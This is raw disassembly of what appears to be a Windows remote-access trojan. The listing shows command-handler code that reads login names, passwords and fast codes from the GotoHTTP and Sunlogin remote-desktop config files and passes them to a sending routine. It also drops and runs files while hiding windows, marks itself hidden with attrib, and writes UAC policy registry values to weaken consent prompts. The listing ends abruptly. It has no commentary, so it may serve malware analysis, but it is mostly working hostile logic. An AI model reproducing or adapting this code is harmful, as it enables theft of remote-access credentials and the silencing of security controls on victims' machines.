jmp 0x40b570
mov ecx, 0x19
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c3e7
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0xd28]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b6e3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.163
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b561
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
jmp case.0x40a34c.163
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 1
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf4f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 2
mov ecx, 1
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b5d1
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f460
mov esi, dword [ebp - 0xd2c]
push str.C:ProgramDatagotohttp.ini
push 0x104
push esi
push 0x441616
push str.name
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b61b
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f460
mov edi, dword [ebp - 0xd30]
push str.C:ProgramDatagotohttp.ini
push 0x104
push edi
push 0x441616
push 0x440f24
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd18], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe3
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd18]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd18]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004110b0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 1
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b6c4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40b6e3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b717
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
jmp case.0x40a34c.2
mov eax, dword [str.xrk.exe]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x248], eax
mov ax, word [0x440f34]
mov word [ebp - 0x244], ax
mov al, byte [0x440f36]
mov dword [ebp - 0x238], 7
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x242], al
mov byte [ebp - 0x241], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 3
call fcn.0040a230
test al, al
je 0x40c00f
lea eax, [ebp - 0xd18]
mov dword [ebp - 0xd18], 0
push eax
push 0
push 0
push 0x437450
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push dword [ebp - 0xd18]
lea ecx, [ebp - 0x290]
call fcn.0040e5e0
push str.Oray
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 4
call fcn.0040e5e0
push str.SunloginClient
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 5
call fcn.0040e5e0
push str.config.ini
lea ecx, [ebp - 0x388]
mov byte [ebp - 4], 6
call fcn.0040e5e0
mov byte [ebp - 4], 7
mov eax, SysReAllocString
mov edx, dword [ebp - 0x330]
sub eax, edx
cmp eax, 1
jb 0x40cf77
cmp dword [ebp - 0x32c], 7
lea eax, [ebp - 0x340]
mov ecx, dword [ebp - 0x340]
lea esi, [ebp - 0x278]
cmova eax, ecx
mov dword [ebp - 0xd24], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xd30], eax
mov edi, 7
mov dword [ebp - 0x268], 0
seta byte [ebp - 0xd19]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0xd34], ecx
xorps xmm0, xmm0
movups xmmword [ebp - 0x278], xmm0
cmp ecx, edi
jbe 0x40b907
mov edi, ecx
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x40b88d
mov eax, SysReAllocString
mov edi, SysReAllocString
add eax, eax
jmp 0x40b8af
cmp edi, 0xa
mov eax, 0xa
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x40cf59
add eax, eax
cmp eax, 0x1000
jb 0x40b8e2
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40cf59
push ecx
call fcn.0041384a
add esp, 4
test eax, eax
je 0x40cf72
mov ecx, dword [ebp - 0xd34]
lea esi, [eax + 0x23]
mov edx, dword [ebp - 0x330]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x40b901
test eax, eax
je 0x40b8ff
push eax
call fcn.0041384a
mov ecx, dword [ebp - 0xd34]
add esp, 4
mov edx, dword [ebp - 0x330]
mov esi, eax
jmp 0x40b901
xor esi, esi
mov dword [ebp - 0x278], esi
mov ax, word [0x4410f0]
mov dword [ebp - 0x268], ecx
lea ecx, [esi + 2]
mov dword [ebp - 0x264], edi
mov word [esi], ax
lea eax, [edx + edx]
push eax
push dword [ebp - 0xd30]
push ecx
call fcn.00416160
mov eax, dword [ebp - 0x330]
xor ecx, ecx
add esp, 0xc
mov word [esi + eax*2 + 2], cx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x278]
mov esi, dword [ebp - 0x264]
mov eax, esi
mov edx, dword [ebp - 0x268]
sub eax, edx
cmp eax, 1
jb 0x40b98a
cmp esi, 7
lea eax, [edx + 1]
mov dword [ebp - 0x268], eax
cmova ecx, dword [ebp - 0x278]
mov ax, word [0x4410f0]
mov word [ecx + edx*2], ax
xor eax, eax
mov word [ecx + edx*2 + 2], ax
lea eax, [ebp - 0x278]
jmp 0x40b99f
push 1
push 0x4410f0
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push 1
call fcn.004101c0
mov dword [ebp - 0x2b0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2ac], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x2c0]
lea ecx, [ebp - 0x370]
call fcn.0040f990
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
sub eax, esi
cmp eax, 1
jb 0x40ba3b
cmp dword [ecx + 0x14], 7
lea edi, [esi + 1]
mov dword [ecx + 0x10], edi
mov edx, ecx
jbe 0x40ba29
mov edx, dword [ecx]
mov ax, word [0x4410f0]
mov word [edx + esi*2], ax
xor eax, eax
mov word [edx + edi*2], ax
jmp 0x40ba58
push 1
push 0x4410f0
mov byte [ebp - 0xd28], 0
push dword [ebp - 0xd28]
push 1
call fcn.004101c0
mov ecx, eax
mov dword [ebp - 0x298], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x294], 0
xor eax, eax
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2a8], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x298], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
lea eax, [ebp - 0x388]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x2a8]
lea ecx, [ebp - 0x358]
call fcn.0040f990
add esp, 4
push eax
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0xc
call fcn.0040f240
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x344]
cmp ecx, 7
jbe 0x40bb17
mov edx, dword [ebp - 0x358]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb0d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 7
mov word [ebp - 0x358], ax
cmp ecx, 7
jbe 0x40bb7c
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
cmp ecx, 7
jbe 0x40bbe1
mov edx, dword [ebp - 0x370]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bbd7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 7
mov word [ebp - 0x370], ax
cmp ecx, 7
jbe 0x40bc46
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 7
mov word [ebp - 0x2c0], ax
cmp ecx, 7
jbe 0x40bcab
mov edx, dword [ebp - 0x278]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bca1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
cmp dword [ebp - 0x27c], 7
lea ecx, [ebp - 0x290]
mov eax, dword [ebp - 0x280]
jbe 0x40bccb
mov esi, dword [ebp - 0x290]
lea edi, [esi + eax*2]
jmp 0x40bcd4
lea edi, [ecx + eax*2]
lea esi, [ebp - 0x290]
mov dword [ebp - 0x250], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x260], xmm0
cmp esi, edi
jne 0x40bd03
mov ecx, 0xf
mov byte [ebp - 0x260], 0
mov dword [ebp - 0x24c], ecx
jmp 0x40be26
sub edi, esi
mov dword [ebp - 0x24c], 0xf
sar edi, 1
cmp edi, 0x7fffffff
ja 0x40cf77
mov eax, 0xf
cmp edi, eax
jbe 0x40bdd9
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x40bd4a
mov eax, SysReAllocString
mov dword [ebp - 0xd30], SysStringLen
add eax, 0x23
jmp 0x40bd75
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0xd30], eax
lea ecx, [eax + 1]
cmp ecx, 0x1000
jb 0x40bda6
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x40cf59
push eax
call fcn.0041384a
add esp, 4
test eax, eax
je 0x40cf72
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bddf
test ecx, ecx
je 0x40bdc9
push ecx
call fcn.0041384a
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bddf
xor ecx, ecx
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x260], ecx
jmp 0x40bddf
mov ecx, dword [ebp - 0x260]
cmp eax, 0xf
lea edx, [ebp - 0x260]
cmova edx, ecx
mov dword [ebp - 0xd34], edx
mov ecx, edx
mov edx, edi
test edi, edi
je 0x40be10
nop dword [eax]
mov al, byte [esi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea esi, [esi + 2]
sub edx, 1
jne 0x40be00
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0x250], edi
mov byte [eax + edi], 0
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x260]
cmova eax, dword [ebp - 0x260]
push 0
push eax
call fcn.0041d040
add esp, 8
cmp eax, 0xffffffff
jne 0x40c0bd
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40be8c
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40be82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40beeb
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bee1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40bf2f
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bf25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 4
cmp byte [ebp - 0xd19], 0
je 0x40bf7b
mov ecx, dword [ebp - 0x32c]
mov edx, dword [ebp - 0xd24]
mov eax, edx
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x40bf71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40bfbf
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bfb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov esi, dword [ebp - 0xd2c]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.173
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c000
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
jmp case.0x40a34c.173
mov ecx, 0x19
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c3e7
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0x14]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40c3e7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x440f90
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40c090
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x40bfc5
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf5e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 0xe
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf68
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x260]
cmp dword [ebp - 0x24c], 0xf
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [esi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [esi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c147
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f460
mov esi, dword [ebp - 0xd2c]
push dword [ebp - 0xd28]
push 0x104
push esi
push 0x441616
push str.fastcode
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [ebp - 0x24c], 0xf
lea eax, [ebp - 0x260]
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [edi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [edi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c1ac
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f460
mov edi, dword [ebp - 0xd30]
push dword [ebp - 0xd28]
push 0x104
push edi
push 0x441616
push str.password
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe5
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd34]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd34]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004110b0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 0xe
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c256
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40c275
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40c2af
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c2a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40c30a
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c300
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40c34a
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c340
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x32c]
cmp ecx, 7
jbe 0x40c38a
mov edx, dword [ebp - 0xd24]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c380
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40c3ca
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c3c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 7
mov word [ebp - 0x290], ax
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b717
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
jmp 0x40b717
mov dword [0x446b68], 3
nop
call fcn.0040d180
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c45e
mov byte [ebp - 0xd19], 0xe2
call fcn.004110b0
cmp dword [0x446b68], 0
jne 0x40c430
jmp case.0x40a34c.2
mov byte [ebp - 0xd19], 0xe1
call fcn.004110b0
jmp case.0x40a34c.2
call fcn.0040d180
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c45e
mov byte [ebp - 0xd19], 0xe2
call fcn.004110b0
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x408ae0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.004166e0
push 0x104
lea eax, [ebp - 0x48c]
push 0
push eax
call fcn.004166e0
push 0x104
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004166e0
add esp, 0x24
lea eax, [ebp - 0x12c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x12c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
lea eax, [ebp - 0x48c]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x230]
push str._c_attrib
push eax
call esi
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push str._s_h
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x300], 0x3c
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x2ec], eax
lea eax, [ebp - 0x300]
push eax
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], str.Open
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2fc], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40c5f9
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push dword [ebp - 0x2c8]
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
lea eax, [ebp - 0x12c]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.00408bc0
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x408fd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x4090b0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a34c.2
push 0x440ac4
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40c6df
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
push 0x440ac4
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a34c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
jmp case.0x40a34c.2
mov dword [0x448ce0], 1
push 0
push 0
push 0
push 0x409910
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409960
push 0
push 0
mov dword [0x448cdc], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x4099b0
push 0
push 0
mov dword [0x448cd8], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a50
push 0
push 0
mov dword [0x448cd0], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a00
push 0
push 0
mov dword [0x448cd4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
mov dword [0x448ce0], 0
jmp 0x40c742
push 0
push 0
push 0
